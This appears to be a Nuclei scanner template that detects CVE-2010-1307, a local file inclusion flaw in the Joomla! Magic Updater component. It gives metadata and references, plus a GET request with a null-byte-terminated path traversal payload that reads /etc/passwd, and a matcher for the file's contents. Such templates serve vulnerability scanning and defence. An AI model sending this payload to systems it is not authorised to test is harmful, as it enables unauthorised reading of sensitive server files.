id: CVE-2010-1307

info:
  name: Joomla! Component Magic Updater - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Magic Updater (com_joomlaupdater) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12070
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1307
    - http://www.vupen.com/english/advisories/2010/0806
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57531
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1307
    cwe-id: CWE-22
    epss-score: 0.10158
    epss-percentile: 0.95058
    cpe: cpe:2.3:a:software.realtyna:com_joomlaupdater:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: software.realtyna
    product: com_joomlaupdater
  tags: cve,cve2010,edb,joomla,lfi,software.realtyna,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_joomlaupdater&controller=../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d1cdc7bc615e8e21e05316b57f0f155222afec00bea47ac91f8e0e363a72d4f902207e41c2f53ea2fffbbf8939cf360aed39b93d3d87eececbe2861414ad5a094480:922c64590222798bb761d5b6d8e72950